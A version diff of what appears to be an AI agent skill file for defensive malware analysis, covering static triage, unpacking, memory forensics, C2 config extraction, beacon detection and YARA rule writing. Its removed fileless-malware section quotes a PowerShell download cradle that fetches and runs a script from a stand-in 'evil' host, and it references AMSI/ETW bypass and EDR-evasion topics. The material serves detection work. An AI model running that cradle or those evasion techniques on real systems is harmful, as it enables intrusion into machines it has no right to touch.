malware-analysis · diff
git:20260528.da66357 to git:20260629.95337a2
90 added, 410 removed. Audit A to A.
---
name: malware-analysis
- description: Static/dynamic malware analysis, YARA rules, sandbox evasion detection, behavioral profiling, unpacking, anti-analysis bypass
+ description: Malware RE & detection — static triage + capability mapping (FLOSS/capa/YARA-X), emulation/DBI/.NET unpacking, dynamic + fileless + Volatility 3 memory analysis, AMSI/ETW patch detection, Cobalt Strike/AdaptixC2 config extraction (MACO/CAPE), and C2 traffic detection (beacon cadence, JA4+, tunneled/DoH)
metadata:
type: defensive
phase: analysis
- tools: ida, ghidra, x64dbg, procmon, wireshark, yara, capa, pestudio, floss, cuckoo, any.run
+ tools: capa, FLOSS, YARA-X, pefile, x64dbg, dnSpyEx, de4dot, Frida, Qiling, Speakeasy, unipacker, Volatility3, FakeNet-NG, INetSim, 1768.py, CobaltStrikeParser, MACO, CAPEv2, Zeek, ja4, Suricata
+ mitre: TA0042
kill_chain:
phase: [weaponize]
step: [2]
- attck_tactics: [TA0042]
+ attck_tactics: [TA0042, TA0005, TA0011]
+ attck_techniques: [T1027, T1027.002, T1027.013, T1140, T1055, T1055.012, T1620, T1562.001, T1497, T1547.001, T1546.003, T1059.001, T1071.001, T1071.004, T1573, T1572, T1568.002, T1480]
depends_on: [reverse-engineering]
- feeds_into: [threat-hunting, edr-evasion]
- inputs: [malware_sample, pcap_capture]
- outputs: [yara_rules, ioc_list, behavioral_report]
+ feeds_into: [threat-hunting, incident-response, edr-evasion, network-attack]
+ inputs: [malware_sample, memory_image, pcap_capture, sandbox_report]
+ outputs: [yara_rules, ioc_list, behavioral_report, malware_config, capability_map, c2_indicators]
+ references:
+ - references/static-triage-capa.md
+ - references/unpacking-deobfuscation.md
+ - references/dynamic-fileless-memory.md
+ - references/config-c2-extraction.md
+ - references/network-c2-detection.md
+ - references/yara-detection-engineering.md
+ scripts:
+ - scripts/triage.py
+ - scripts/auto_unpack.py
+ - scripts/frida_unpack.js
+ - scripts/cs_config_extract.py
+ - scripts/mem_triage.py
+ - scripts/beacon_profiler.py
+ - scripts/yara_gen.py
---
# Malware Analysis
## When to Activate
- - Analyzing suspicious binaries or scripts
- - Writing detection signatures (YARA, Snort, Sigma)
- - Understanding malware capabilities and C2 protocols
- - Unpacking protected/obfuscated samples
- - Incident response — determining scope of compromise
- - Threat intelligence — attributing samples to threat actors
-
- ## Static Analysis
-
- ### Initial Triage
- ```bash
- # File identification
- file sample.exe
- sha256sum sample.exe
- ssdeep sample.exe # fuzzy hash for similarity
-
- # PE analysis
- pestudio sample.exe # GUI: imports, strings, indicators
- python3 -c "import pefile; pe=pefile.PE('sample.exe'); print(pe.dump_info())"
-
- # Strings
- floss sample.exe # FLARE Obfuscated String Solver (decodes obfuscated strings)
- strings -n 8 sample.exe | grep -iE '(http|ftp|cmd|powershell|reg|schtask|wmic)'
-
- # Capability detection
- capa sample.exe # maps to MITRE ATT&CK techniques
- # Output: persistence/registry, defense-evasion/process-injection, etc.
-
- # Import analysis
- python3 -c "
- import pefile
- pe = pefile.PE('sample.exe')
- for entry in pe.DIRECTORY_ENTRY_IMPORT:
- print(entry.dll.decode())
- for imp in entry.imports:
- print(f' {imp.name.decode() if imp.name else hex(imp.ordinal)}')
- "
- ```
-
- ### Suspicious Indicators
- ```
- # High-confidence malicious:
- - VirtualAlloc + WriteProcessMemory + CreateRemoteThread (process injection)
- - NtUnmapViewOfSection + NtMapViewOfSection (process hollowing)
- - SetWindowsHookEx (keylogger/hooking)
- - CryptEncrypt with hardcoded key (ransomware)
- - InternetOpen + InternetConnect + HttpSendRequest (C2 communication)
- - RegSetValueEx on Run keys (persistence)
- - CreateToolhelp32Snapshot + Process32First (process enumeration)
-
- # Packing indicators:
- - High entropy sections (>7.0)
- - Few imports (only LoadLibrary/GetProcAddress)
- - Section names: UPX, .packed, .vmp, .themida
- - Entry point in non-standard section
- ```
-
- ## Dynamic Analysis
-
- ### Sandbox Setup
- ```bash
- # Isolated VM with:
- # - Snapshot before execution
- # - Network capture (inetsim for fake services)
- # - Process monitoring (procmon, API Monitor)
- # - File system monitoring (sysmon)
- # - Registry monitoring
-
- # Inetsim (fake internet services)
- inetsim --config /etc/inetsim/inetsim.conf
-
- # FakeDNS
- python3 fakedns.py -c 192.168.1.100 # redirect all DNS to analysis host
- ```
-
- ### Behavioral Analysis
- ```bash
- # Process Monitor filters:
- # - Process Name contains sample.exe
- # - Operation is WriteFile, RegSetValue, Process Create
- # - Path contains \Run, \Services, \Tasks
-
- # Network capture
- tcpdump -i eth0 -w capture.pcap
- # Analyze: DNS queries, HTTP requests, raw TCP connections
-
- # API tracing
- # x64dbg: set breakpoints on key APIs
- # API Monitor: filter by category (Registry, File, Network, Process)
- ```
-
- ### Anti-Analysis Detection
- ```
- # Common evasion techniques to identify:
- - Sleep calls (extended delays to timeout sandboxes)
- - Environment checks (VM artifacts, debugger presence, sandbox usernames)
- - Timing attacks (rdtsc differences)
- - Mouse movement/click checks
- - Domain-joined check
- - Minimum RAM/CPU/disk checks
- - Specific file/registry checks (sandbox artifacts)
- - Network connectivity checks before detonation
- ```
-
- ## YARA Rule Writing
-
- ```yara
- rule APT_Backdoor_CustomRAT {
- meta:
- author = "analyst"
- description = "Custom RAT used by threat actor"
- date = "2026-05-19"
- hash = "abc123..."
-
- strings:
- $magic = { 4D 5A 90 00 } // MZ header
- $str1 = "cmd.exe /c" ascii wide
- $str2 = "/api/beacon" ascii
- $mutex = "Global\\CustomMutex" ascii
- $key = { 41 42 43 44 45 46 47 48 } // XOR key
-
- // API hashing pattern
- $api_hash = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? } // push hash; call resolve
-
- condition:
- $magic at 0 and
- (2 of ($str*)) and
- ($api_hash or $key) and
- filesize < 500KB
- }
-
- // Rule quality checklist:
- // - Specific enough to avoid FP (test against goodware corpus)
- // - Targets unique/stable features (not easily modified strings)
- // - Includes metadata for context
- // - Performance: avoid expensive regex, prefer hex patterns
- // - Test with: yara -r rule.yar /path/to/samples/
- ```
-
- ## Unpacking
-
- ### Common Packers
- ```
- # UPX
- upx -d packed.exe -o unpacked.exe
-
- # Custom packers — manual unpacking:
- # 1. Set breakpoint on VirtualAlloc/VirtualProtect
- # 2. Run until unpacking stub allocates RWX memory
- # 3. Set hardware breakpoint on allocated region
- # 4. Continue until code is written and executed
- # 5. At OEP: dump process memory
- # 6. Fix IAT with Scylla/ImportREC
-
- # .NET obfuscation (ConfuserEx, .NET Reactor)
- de4dot sample.exe -o cleaned.exe
- # Then: dnSpy for decompilation
-
- # JavaScript/PowerShell deobfuscation
- # Replace eval/IEX with console.log/Write-Output
- # Iteratively decode layers
- ```
-
- ## C2 Protocol Analysis
-
- ```
- # Identify C2 communication:
- # 1. Capture network traffic during execution
- # 2. Identify beaconing patterns (regular intervals)
- # 3. Decode protocol:
- # - HTTP: check User-Agent, URI patterns, POST data encoding
- # - DNS: subdomain encoding (hex, base32, base64)
- # - Custom TCP: identify magic bytes, encryption, structure
-
- # Common C2 frameworks signatures:
- # Cobalt Strike: /submit.php, cookie with base64 metadata, 60s default sleep
- # Metasploit: stage URI pattern /[A-Za-z0-9]{4}
- # Sliver: mTLS, HTTP with specific headers
- # Havoc: custom protocol over HTTP/S
- ```
-
- ## Reporting Template
-
- ```markdown
- ## Sample: [hash]
- ### Classification: [family/type]
- ### Capabilities:
- - [ ] Persistence mechanism
- - [ ] C2 communication
- - [ ] Data exfiltration
- - [ ] Lateral movement
- - [ ] Credential theft
- - [ ] Encryption/ransomware
- ### IOCs:
- - Hashes: [MD5, SHA256, imphash, ssdeep]
- - Network: [domains, IPs, URLs, User-Agents]
- - Host: [mutexes, files created, registry keys]
- - YARA: [rule name]
- ### MITRE ATT&CK Mapping:
- - T1055 - Process Injection
- - T1547.001 - Registry Run Keys
- - [...]
- ```
-
- ## Advanced: Fileless Malware Analysis
-
- ### In-Memory Analysis
- ```bash
- # Fileless malware never touches disk — lives entirely in memory
- # Detection requires: memory dumps, ETW logs, PowerShell logging
-
- # Common fileless techniques:
- # 1. PowerShell download cradle → execute in memory
- # IEX(New-Object Net.WebClient).DownloadString('http://evil/payload.ps1')
- # Detection: PowerShell ScriptBlock Logging (Event ID 4104)
-
- # 2. .NET Assembly.Load from memory
- # [System.Reflection.Assembly]::Load($bytes)
- # Detection: .NET ETW provider, AMSI
-
- # 3. WMI event subscription persistence
- # No file on disk — stored in WMI repository (OBJECTS.DATA)
- # Detection: Event ID 5861 (WMI activity), parse OBJECTS.DATA
-
- # 4. Registry-stored payloads
- # Payload stored as registry value, decoded and executed at runtime
- # Detection: registry monitoring, large binary values in Run keys
-
- # Analysis approach:
- # 1. Capture memory dump BEFORE any remediation
- # 2. Volatility: malfind, netscan, cmdline, consoles
- # 3. Parse PowerShell logs from Event Viewer
- # 4. Extract WMI subscriptions from memory or OBJECTS.DATA
- # 5. Check ETW logs for .NET assembly loading
- ```
-
- ### WMI Persistence Analysis
- ```bash
- # WMI event subscriptions: EventFilter → EventConsumer → FilterToConsumerBinding
- # Stored in: C:\Windows\System32\wbem\Repository\OBJECTS.DATA
-
- # Extract WMI subscriptions:
- # Volatility: vol3 -f mem.raw windows.wmi
- # Or parse OBJECTS.DATA directly:
- python3 PyWMIPersistenceFinder.py OBJECTS.DATA
-
- # Look for:
- # - CommandLineEventConsumer (executes arbitrary commands)
- # - ActiveScriptEventConsumer (executes VBScript/JScript)
- # - Bound to: __IntervalTimerInstruction (periodic execution)
- # - Or: __InstanceModificationEvent (trigger on system event)
-
- # Live system query:
- Get-WMIObject -Namespace root\Subscription -Class __EventFilter
- Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
- Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
- ```
-
- ## Advanced: Bootkit & Rootkit Analysis
-
- ### Bootkit Detection
- ```bash
- # Bootkits infect: MBR, VBR, bootloader, or UEFI firmware
- # They load before the OS — invisible to OS-level tools
-
- # MBR analysis:
- dd if=/dev/sda bs=512 count=1 of=mbr.bin
- # Compare against known-good MBR for the OS
- # Check: boot code, partition table, magic bytes (0x55AA)
-
- # VBR analysis:
- # Extract volume boot record from each partition
- # Compare against known-good VBR
-
- # UEFI bootkit (BlackLotus-style):
- # Check ESP (EFI System Partition):
- # - Verify bootloader signatures
- # - Compare hashes against known-good versions
- # - Check for unauthorized .efi files
- # - Analyze Secure Boot DBX (revocation list)
-
- # Memory-based detection:
- # Bootkits often hook: Int 13h (BIOS), UEFI Boot Services
- # Compare interrupt vectors against expected values
- # Scan for hooks in ExitBootServices, GetVariable
- ```
-
- ### Kernel Rootkit Analysis
- ```bash
- # Detection in memory dump:
- # 1. Hidden processes
- vol3 -f mem.raw windows.pslist # linked list
- vol3 -f mem.raw windows.psscan # pool tag scanning
- # Compare: processes in psscan but not pslist → hidden (DKOM)
-
- # 2. SSDT hooks
- vol3 -f mem.raw windows.ssdt
- # Syscall addresses outside ntoskrnl range → hooked
-
- # 3. Hidden drivers
- vol3 -f mem.raw windows.modules # linked list
- vol3 -f mem.raw windows.modscan # pool tag scanning
- # Compare: modules in modscan but not modules → hidden driver
-
- # 4. IRP hooks
- vol3 -f mem.raw windows.driverirp
- # Major function pointers redirected to rootkit code
-
- # 5. Inline hooks (function patching)
- vol3 -f mem.raw windows.apihooks
- # Compares function prologues against on-disk versions
- # JMP/CALL at function start → inline hook
-
- # 6. eBPF/BPF rootkits (Linux)
- bpftool prog list # List loaded BPF programs
- bpftool prog dump id N # Dump BPF program bytecode
- # Look for: kprobes on security-sensitive functions,
- # XDP programs that filter/modify traffic
- ```
-
- ## Advanced: Unpacking Techniques
+ - Triaging an unknown binary/script: identity, packing verdict, capability map, IOCs, go/no-go for detonation.
+ - Recovering the real payload from a packed/crypted/obfuscated loader (commodity loaders, RAT chains, .NET).
+ - Detonating safely and recovering **fileless / in-memory** artifacts (injection, AMSI/ETW patching, WMI persistence).
+ - Extracting malware configuration (C2, keys, sleep/jitter, campaign IDs) for threat intel and detection.
+ - Detecting/characterizing C2 on the wire (beacon cadence, JA4+ fingerprints, tunneled/DoH channels).
+ - Writing durable, low-FP YARA-X detection from analysis findings; incident-response scoping.
- ### Multi-Layer Unpacking
- ```bash
- # Many samples use multiple packing layers:
- # Layer 1: UPX or custom compressor
- # Layer 2: XOR/RC4 encryption
- # Layer 3: API resolution (dynamic imports)
- # Layer 4: Final payload injection
+ ## Technique Map
- # Systematic unpacking:
- # 1. Set breakpoints on: VirtualAlloc, VirtualProtect, NtWriteVirtualMemory
- # 2. Each break = potential unpacking stage
- # 3. When VirtualProtect changes to PAGE_EXECUTE_*:
- # - Dump the memory region
- # - Check if it's a valid PE/shellcode
- # 4. For each layer: note encryption key, XOR pattern, compression type
- # 5. Automate: write script to unpack without executing
+ | Technique | ATT&CK | CWE | Reference | Script |
+ |-----------|--------|-----|-----------|--------|
+ | Hash/imphash/Rich/ssdeep/TLSH triage + PE anomalies | T1027 | CWE-506 | references/static-triage-capa.md | scripts/triage.py |
+ | Per-section entropy + packer/RWX/EP heuristics | T1027.002 | CWE-1066 | references/static-triage-capa.md | scripts/triage.py |
+ | Obfuscated string recovery (FLOSS) | T1140, T1027.013 | CWE-656 | references/static-triage-capa.md | scripts/triage.py |
+ | Capability detection → ATT&CK (capa, static+dynamic) | T1027 | CWE-506 | references/static-triage-capa.md | scripts/triage.py |
+ | Emulation unpacking (Unicorn/unipacker/Speakeasy/Qiling) | T1140, T1620 | CWE-656 | references/unpacking-deobfuscation.md | scripts/auto_unpack.py |
+ | DBI unpacking via API hooks (Frida) | T1055, T1620 | CWE-656 | references/unpacking-deobfuscation.md | scripts/frida_unpack.js |
+ | .NET deobfuscation/unpacking (de4dot/dnSpyEx) | T1027, T1140 | CWE-656 | references/unpacking-deobfuscation.md | scripts/frida_unpack.js |
+ | Sandbox detonation + behavioral capture | T1497 | CWE-506 | references/dynamic-fileless-memory.md | scripts/mem_triage.py |
+ | Memory injection/hollowing/ghosting analysis (Vol3) | T1055, T1055.012 | CWE-506 | references/dynamic-fileless-memory.md | scripts/mem_triage.py |
+ | AMSI/ETW in-memory patch + patchless detection | T1562.001 | CWE-693 | references/dynamic-fileless-memory.md | scripts/mem_triage.py |
+ | Fileless WMI/registry/PowerShell persistence | T1546.003, T1547.001, T1059.001 | CWE-506 | references/dynamic-fileless-memory.md | scripts/mem_triage.py |
+ | Cobalt Strike / AdaptixC2 config extraction | T1071.001, T1573 | CWE-798 | references/config-c2-extraction.md | scripts/cs_config_extract.py |
+ | Config framework at scale (MACO/CAPE) | T1071.001 | CWE-798 | references/config-c2-extraction.md | scripts/cs_config_extract.py |
+ | Generic unknown-C2 protocol RE + decoder | T1573, T1071.004 | CWE-311 | references/config-c2-extraction.md | scripts/cs_config_extract.py |
+ | Beacon cadence/jitter detection (PCAP/Zeek) | T1071.001, T1029 | CWE-778 | references/network-c2-detection.md | scripts/beacon_profiler.py |
+ | JA4+ TLS/HTTP/cert fingerprinting (Sliver/Havoc JA4X) | T1071.001, T1573 | CWE-295 | references/network-c2-detection.md | scripts/beacon_profiler.py |
+ | Tunneled/DoH C2 surfacing (cloudflared/chisel) | T1572, T1568.002, T1071.004 | CWE-441 | references/network-c2-detection.md | scripts/beacon_profiler.py |
+ | YARA-X family rule authoring + FP validation | T1027 | CWE-506 | references/yara-detection-engineering.md | scripts/yara_gen.py |
- # x64dbg approach:
- # bp VirtualAlloc
- # Run → each break: check return value (allocated region)
- # bp VirtualProtect
- # Run → when PAGE_EXECUTE_READ: dump that region
- # bp NtWriteVirtualMemory (for cross-process injection)
- # Run → dump target process memory after write
- ```
+ ## Quick Start
- ### .NET Unpacking (ConfuserEx, .NET Reactor)
```bash
- # Stage 1: Remove obfuscation
- de4dot sample.exe -o cleaned.exe
- # Handles: string encryption, control flow, proxy calls, anti-tamper
-
- # Stage 2: If de4dot fails, manual approach:
- # 1. dnSpy: attach debugger to running sample
- # 2. Break at module .cctor (static constructor) — often where unpacking happens
- # 3. After .cctor completes: dump module from memory
- # 4. Re-analyze cleaned module in dnSpy
+ # 1. Static triage: hashes + PE anomalies + capability combos + FLOSS/capa/YARA-X
+ python3 scripts/triage.py sample.exe --floss --capa --yara rules/family.yar --json out/triage.json
+ capa -j sample.exe > out/capa.json # capabilities -> ATT&CK
- # Stage 3: For custom .NET loaders:
- # Assembly.Load(byte[]) is the key function
- # Hook it → capture the byte array → that's the real payload
- # Tool: ExtremeDumper — dumps .NET assemblies from memory
- ```
+ # 2. Unpack (try emulation first; DBI fallback in isolated VM)
+ python3 scripts/auto_unpack.py sample.exe -o out/dumps/ # static emulation, no detonation
+ frida -f C:\sample.exe -l scripts/frida_unpack.js --no-pause # DBI, isolated VM only
+ de4dot sample.exe -o cleaned.exe # .NET layer
- ## Advanced: C2 Protocol Reverse Engineering
+ # 3. Dynamic + memory (capture mem BEFORE remediation)
+ python3 scripts/mem_triage.py -f mem.raw --vol vol --patch-hunt --json out/mem.json
- ### Cobalt Strike Beacon Analysis
- ```bash
- # Beacon config extraction:
- python3 1768.py sample.bin # Sentinel One's CS config parser
- # Or: CobaltStrikeParser
- # Extracts: C2 servers, sleep time, jitter, watermark, public key,
- # user-agent, spawn-to process, pipe name
+ # 4. Config + C2 extraction
+ python3 scripts/cs_config_extract.py beacon.bin --json # Cobalt Strike
+ python3 1768.py -S beacon.bin # full CS incl. runtime/heap config
+ configextractor sample.bin # MACO/MWCP/CAPE at scale
- # Malleable C2 profile detection:
- # Analyze HTTP traffic patterns:
- # - URI patterns (e.g., /submit.php, /activity)
- # - Headers (Cookie with base64 metadata)
- # - POST body encoding (base64, NetBIOS encoding)
- # - GET vs POST for data exfil
+ # 5. Network C2 detection
+ python3 scripts/beacon_profiler.py capture.pcap --min-beacons 6 # cadence/jitter
+ zeek -r capture.pcap LOCAL ja4 && zeek-cut ja4 ja4s ja4x < ja4.log # JA4+ pivots
- # Beacon ID extraction from traffic:
- # Cookie value contains encrypted metadata:
- # Decrypt with: beacon public key (RSA) → AES key → decrypt C2 traffic
- # Contains: beacon ID, PID, computer name, user, internal IP
+ # 6. Detection engineering
+ python3 scripts/yara_gen.py --family samples/fam/ --name Fam --goodware /usr/bin --out rules/fam.yar
+ yara-x fmt rules/fam.yar && yara-x scan rules/fam.yar /corpus/
```
- ### Generic C2 Protocol Analysis
- ```python
- # Methodology for unknown C2:
- # 1. Capture multiple beacon check-ins (minimum 10)
- # 2. Identify fixed vs variable fields:
- fixed_analysis = {
- "offset_0_4": "magic_bytes (same across samples)",
- "offset_4_5": "command_type (varies: 0x01=checkin, 0x02=task_response)",
- "offset_5_7": "payload_length (varies, matches actual length)",
- "offset_7_N": "encrypted_payload (varies)",
- }
+ ## OPSEC & Detection (summary)
- # 3. Identify encryption:
- # - High entropy throughout → encrypted
- # - Repeating patterns → XOR with short key
- # - Block-aligned → AES/DES
- # - Test: XOR first N bytes with expected plaintext (e.g., "POST", "HTTP")
+ | Technique | Telemetry/IOC | Detection (Sigma/EDR) | OPSEC note |
+ |-----------|---------------|------------------------|------------|
+ | Static triage | None (offline) | n/a — feeds YARA/imphash hunting | Read-only, no execution; isolate sample dir |
+ | Emulation unpack | None (no detonation) | n/a | Preferred first pass; safe, no network |
+ | DBI/manual unpack | Sysmon 8/10 (CallTrace UNKNOWN), RWX commit | EDR memory scan; RWX-then-exec Sigma | DETONATES — isolated VM, snapshot, FakeNet; loaders self-delete, dump first |
+ | Injection/hollowing | malfind/hollowprocesses; EID 8/10 | Vol3 hollow/ghosting/pebmasquerade; CreateRemoteThread | Capture memory pre-remediation |
+ | AMSI/ETW patch | amsi.dll load + patched prologue; B8 00..C3 stub | Sigma T1562.001; debug-reg+VEH for patchless | Patchless evades byte scans — watch Dr0-Dr7 |
+ | Fileless persistence | WMI consumers; PS 4104; Run-key blobs | Vol3 registry/wmi; Sysmon 13/22 | Lives in WMI/registry/memory — no disk file |
+ | Config extraction | C2 host/UA/pipe/watermark | YARA config table; Suricata on C2 URI/SNI | Offline; handle watermark/keys per ROE |
+ | Beacon detection | Periodic outbound deltas | beacon_profiler CV score; Suricata threshold | Passive on captured traffic |
+ | JA4+ fingerprint | JA4/JA4S/JA4X/JA4H tuples | Zeek ja4 watchlist (Sliver/Havoc JA4X) | JA4X needs TLS1.3 cert visibility at proxy |
+ | YARA-X authoring | None | The rules themselves | Validate 0-FP on goodware before deploy |
- # 4. Key recovery:
- # - Hardcoded in binary → extract from .data/.rdata section
- # - Derived from beacon ID → trace key derivation in code
- # - Exchanged via handshake → capture initial negotiation
+ ## Deep Dives
- # 5. Build decoder:
- def decode_c2_traffic(data, key):
- command = data[4]
- length = struct.unpack('>H', data[5:7])[0]
- payload = xor_decrypt(data[7:7+length], key)
- return {'command': command, 'payload': payload}
- ```
+ - references/static-triage-capa.md — Identity/code hashes, Rich header, entropy/packer heuristics, FLOSS, capa (PE/ELF/.NET/shellcode + dynamic capa over CAPE, Android rules, capa Explorer Web), FLARE-VM 2025.
+ - references/unpacking-deobfuscation.md — Self-modifying-stub oracle, emulation (auto_unpack/unipacker/Speakeasy/Qiling), Frida DBI hooks, x64dbg→OEP→Scylla, .NET (de4dot/dnSpyEx), Latrodectus 1.4 AES strings, AsyncRAT fileless loaders, garble/pyc.
+ - references/dynamic-fileless-memory.md — Sandbox build, Volatility 3 injection playbook + 2025 contest plugins (PEScan/Fileless Hunter), AMSI/ETW patch IOCs + patchless VEH bypass, WMI/registry/PS fileless persistence.
+ - references/config-c2-extraction.md — Cobalt Strike (1768.py runtime config, CobaltStrikeParser XOR 0x69/0x2e), AdaptixC2 (Unit 42, 2025), MACO/configextractor-py/CAPEv2 at scale, generic unknown-C2 decoder methodology.
+ - references/network-c2-detection.md — Beacon cadence/CV scoring, JA4+ suite (JA4X for randomized-cert Sliver/Havoc, Zeek/TheHive 2025-26), tunneled/DoH C2 (cloudflared/TryCloudflare/chisel), Suricata/Sigma + ransomware 2025 tradecraft.
+ - references/yara-detection-engineering.md — YARA-X 1.0 (Rust, 99% compat, fmt/WASM, perf caveats), code/byte > string rules, pe/math modules, threshold logic, goodware FP validation, memory+disk scanning, capa pairing.